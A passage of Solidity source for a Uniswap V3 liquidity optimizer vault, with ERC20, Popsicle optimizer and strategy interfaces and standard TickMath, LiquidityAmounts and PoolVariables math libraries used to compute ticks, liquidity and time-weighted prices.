* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IPopsicleV3Optimizer {
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @return The address of the Uniswap V3 Pool
function pool() external view returns (IUniswapV3Pool);
/// @notice The lower tick of the range
function tickLower() external view returns (int24);
/// @notice The upper tick of the range
function tickUpper() external view returns (int24);
/**
* @notice Deposits tokens in proportion to the Optimizer's current ticks.
* @param amount0Desired Max amount of token0 to deposit
* @param amount1Desired Max amount of token1 to deposit
* @param to address that plp should be transfered
* @return shares minted
* @return amount0 Amount of token0 deposited
* @return amount1 Amount of token1 deposited
*/
function deposit(uint256 amount0Desired, uint256 amount1Desired, address to) external returns (uint256 shares, uint256 amount0,uint256 amount1);
/**
* @notice Withdraws tokens in proportion to the Optimizer's holdings.
* @dev Removes proportional amount of liquidity from Uniswap.
* @param shares burned by sender
* @return amount0 Amount of token0 sent to recipient
* @return amount1 Amount of token1 sent to recipient
*/
function withdraw(uint256 shares, address to) external returns (uint256 amount0, uint256 amount1);
/**
* @notice Updates Optimizer's positions.
* @dev Finds base position and limit position for imbalanced token
* mints all amounts to this position(including earned fees)
*/
function rerange() external;
/**
* @notice Updates Optimizer's positions. Can only be called by the governance.
* @dev Swaps imbalanced token. Finds base position and limit position for imbalanced token if
* we don't have balance during swap because of price impact.
* mints all amounts to this position(including earned fees)
*/
function rebalance() external;
}
interface IOptimizerStrategy {
/// @return Maximul PLP value that could be minted
function maxTotalSupply() external view returns (uint256);
/// @notice Period of time that we observe for price slippage
/// @return time in seconds
function twapDuration() external view returns (uint32);
/// @notice Maximum deviation of time waited avarage price in ticks
function maxTwapDeviation() external view returns (int24);
/// @notice Tick multuplier for base range calculation
function tickRangeMultiplier() external view returns (int24);
/// @notice The price impact percentage during swap denominated in hundredths of a bip, i.e. 1e-6
/// @return The max price impact percentage
function priceImpactPercentage() external view returns (uint24);
}
library PositionKey {
/// @dev Returns the key of the position in the core library
function compute(
address owner,
int24 tickLower,
int24 tickUpper
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(owner, tickLower, tickUpper));
}
}
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(MAX_TICK), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
}
/// @title Liquidity amount functions
/// @notice Provides functions for computing liquidity amounts from token amounts and prices
library LiquidityAmounts {
/// @notice Downcasts uint256 to uint128
/// @param x The uint258 to be downcasted
/// @return y The passed value, downcasted to uint128
function toUint128(uint256 x) private pure returns (uint128 y) {
require((y = uint128(x)) == x);
}
/// @notice Computes the amount of liquidity received for a given amount of token0 and price range
/// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower))
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount0 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount0(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96);
return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the amount of liquidity received for a given amount of token1 and price range
/// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)).
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount1 The amount1 being sent in
/// @return liquidity The amount of returned liquidity
function getLiquidityForAmount1(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96));
}
/// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param amount0 The amount of token0 being sent in
/// @param amount1 The amount of token1 being sent in
/// @return liquidity The maximum amount of liquidity received
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
/// @notice Computes the amount of token0 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
function getAmount0ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) / sqrtRatioAX96;
}
/// @notice Computes the amount of token1 for a given amount of liquidity and a price range
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount1 The amount of token1
function getAmount1ForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
/// @notice Computes the token0 and token1 value for a given amount of liquidity, the current
/// pool prices and the prices at the tick boundaries
/// @param sqrtRatioX96 A sqrt price representing the current pool prices
/// @param sqrtRatioAX96 A sqrt price representing the first tick boundary
/// @param sqrtRatioBX96 A sqrt price representing the second tick boundary
/// @param liquidity The liquidity being valued
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
}
/// @title Liquidity and ticks functions
/// @notice Provides functions for computing liquidity and ticks for token amounts and prices
library PoolVariables {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint128;
// Cache struct for calculations
struct Info {
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0;
uint256 amount1;
uint128 liquidity;
int24 tickLower;
int24 tickUpper;
}
/// @dev Wrapper around `LiquidityAmounts.getAmountsForLiquidity()`.
/// @param pool Uniswap V3 pool
/// @param liquidity The liquidity being valued
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amounts of token0 and token1 that corresponds to liquidity
function amountsForLiquidity(
IUniswapV3Pool pool,
uint128 liquidity,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint256, uint256) {
//Get current price from the pool
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getAmountsForLiquidity(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(_tickLower),
TickMath.getSqrtRatioAtTick(_tickUpper),
liquidity
);
}
/// @dev Wrapper around `LiquidityAmounts.getLiquidityForAmounts()`.
/// @param pool Uniswap V3 pool
/// @param amount0 The amount of token0
/// @param amount1 The amount of token1
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return The maximum amount of liquidity that can be held amount0 and amount1
function liquidityForAmounts(
IUniswapV3Pool pool,
uint256 amount0,
uint256 amount1,
int24 _tickLower,
int24 _tickUpper
) internal view returns (uint128) {
//Get current price from the pool
(uint160 sqrtRatioX96, , , , , , ) = pool.slot0();
return
LiquidityAmounts.getLiquidityForAmounts(
sqrtRatioX96,
TickMath.getSqrtRatioAtTick(_tickLower),
TickMath.getSqrtRatioAtTick(_tickUpper),
amount0,
amount1
);
}
/// @dev Amounts of token0 and token1 held in contract position.
/// @param pool Uniswap V3 pool
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amount0 The amount of token0 held in position
/// @return amount1 The amount of token1 held in position
function usersAmounts(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper)
internal
view
returns (uint256 amount0, uint256 amount1)
{
//Compute position key
bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper);
//Get Position.Info for specified ticks
(uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1) =
pool.positions(positionKey);
// Calc amounts of token0 and token1 including fees
(amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper);
amount0 = amount0.add(tokensOwed0);
amount1 = amount1.add(tokensOwed1);
}
/// @dev Amount of liquidity in contract position.
/// @param pool Uniswap V3 pool
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return liquidity stored in position
function positionLiquidity(IUniswapV3Pool pool, int24 _tickLower, int24 _tickUpper)
internal
view
returns (uint128 liquidity)
{
//Compute position key
bytes32 positionKey = PositionKey.compute(address(this), _tickLower, _tickUpper);
//Get liquidity stored in position
(liquidity, , , , ) = pool.positions(positionKey);
}
/// @dev Common checks for valid tick inputs.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
function checkRange(int24 tickLower, int24 tickUpper) internal pure {
require(tickLower < tickUpper, "TLU");
require(tickLower >= TickMath.MIN_TICK, "TLM");
require(tickUpper <= TickMath.MAX_TICK, "TUM");
}
/// @dev Rounds tick down towards negative infinity so that it's a multiple
/// of `tickSpacing`.
function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) {
int24 compressed = tick / tickSpacing;
if (tick < 0 && tick % tickSpacing != 0) compressed--;
return compressed * tickSpacing;
}
/// @dev Gets ticks with proportion equivalent to desired amount
/// @param pool Uniswap V3 pool
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param baseThreshold The range for upper and lower ticks
/// @param tickSpacing The pool tick spacing
/// @return tickLower The lower tick of the range
/// @return tickUpper The upper tick of the range
function getPositionTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 baseThreshold, int24 tickSpacing) internal view returns(int24 tickLower, int24 tickUpper) {
Info memory cache =
Info(amount0Desired, amount1Desired, 0, 0, 0, 0, 0);
// Get current price and tick from the pool
( uint160 sqrtPriceX96, int24 currentTick, , , , , ) = pool.slot0();
//Calc base ticks
(cache.tickLower, cache.tickUpper) = baseTicks(currentTick, baseThreshold, tickSpacing);
//Calc amounts of token0 and token1 that can be stored in base range
(cache.amount0, cache.amount1) = amountsForTicks(pool, cache.amount0Desired, cache.amount1Desired, cache.tickLower, cache.tickUpper);
//Liquidity that can be stored in base range
cache.liquidity = liquidityForAmounts(pool, cache.amount0, cache.amount1, cache.tickLower, cache.tickUpper);
//Get imbalanced token
bool zeroGreaterOne = amountsDirection(cache.amount0Desired, cache.amount1Desired, cache.amount0, cache.amount1);
//Calc new tick(upper or lower) for imbalanced token
if ( zeroGreaterOne) {
uint160 nextSqrtPrice0 = SqrtPriceMath.getNextSqrtPriceFromAmount0RoundingUp(sqrtPriceX96, cache.liquidity, cache.amount0Desired, false);
cache.tickUpper = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice0), tickSpacing);
}
else{
uint160 nextSqrtPrice1 = SqrtPriceMath.getNextSqrtPriceFromAmount1RoundingDown(sqrtPriceX96, cache.liquidity, cache.amount1Desired, false);
cache.tickLower = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice1), tickSpacing);
}
checkRange(cache.tickLower, cache.tickUpper);
tickLower = cache.tickLower;
tickUpper = cache.tickUpper;
}
/// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks
/// @param pool Uniswap V3 pool
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param _tickLower The lower tick of the range
/// @param _tickUpper The upper tick of the range
/// @return amount0 amounts of token0 that can be stored in range
/// @return amount1 amounts of token1 that can be stored in range
function amountsForTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 _tickLower, int24 _tickUpper) internal view returns(uint256 amount0, uint256 amount1) {
uint128 liquidity = liquidityForAmounts(pool, amount0Desired, amount1Desired, _tickLower, _tickUpper);
(amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper);
}
/// @dev Calc base ticks depending on base threshold and tickspacing
function baseTicks(int24 currentTick, int24 baseThreshold, int24 tickSpacing) internal pure returns(int24 tickLower, int24 tickUpper) {
int24 tickFloor = floor(currentTick, tickSpacing);
tickLower = tickFloor - baseThreshold;
tickUpper = tickFloor + baseThreshold;
}
/// @dev Get imbalanced token
/// @param amount0Desired The desired amount of token0
/// @param amount1Desired The desired amount of token1
/// @param amount0 Amounts of token0 that can be stored in base range
/// @param amount1 Amounts of token1 that can be stored in base range
/// @return zeroGreaterOne true if token0 is imbalanced. False if token1 is imbalanced
function amountsDirection(uint256 amount0Desired, uint256 amount1Desired, uint256 amount0, uint256 amount1) internal pure returns (bool zeroGreaterOne) {
zeroGreaterOne = amount0Desired.sub(amount0).mul(amount1Desired) > amount1Desired.sub(amount1).mul(amount0Desired) ? true : false;
}
// Check price has not moved a lot recently. This mitigates price
// manipulation during rebalance and also prevents placing orders
// when it's too volatile.
function checkDeviation(IUniswapV3Pool pool, int24 maxTwapDeviation, uint32 twapDuration) internal view {
(, int24 currentTick, , , , , ) = pool.slot0();
int24 twap = getTwap(pool, twapDuration);
int24 deviation = currentTick > twap ? currentTick - twap : twap - currentTick;
require(deviation <= maxTwapDeviation, "PSC");
}
/// @dev Fetches time-weighted average price in ticks from Uniswap pool for specified duration
function getTwap(IUniswapV3Pool pool, uint32 twapDuration) internal view returns (int24) {
uint32 _twapDuration = twapDuration;
uint32[] memory secondsAgo = new uint32[](2);
secondsAgo[0] = _twapDuration;
secondsAgo[1] = 0;
(int56[] memory tickCumulatives, ) = pool.observe(secondsAgo);
return int24((tickCumulatives[1] - tickCumulatives[0]) / _twapDuration);
}
}
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
}
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
}
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
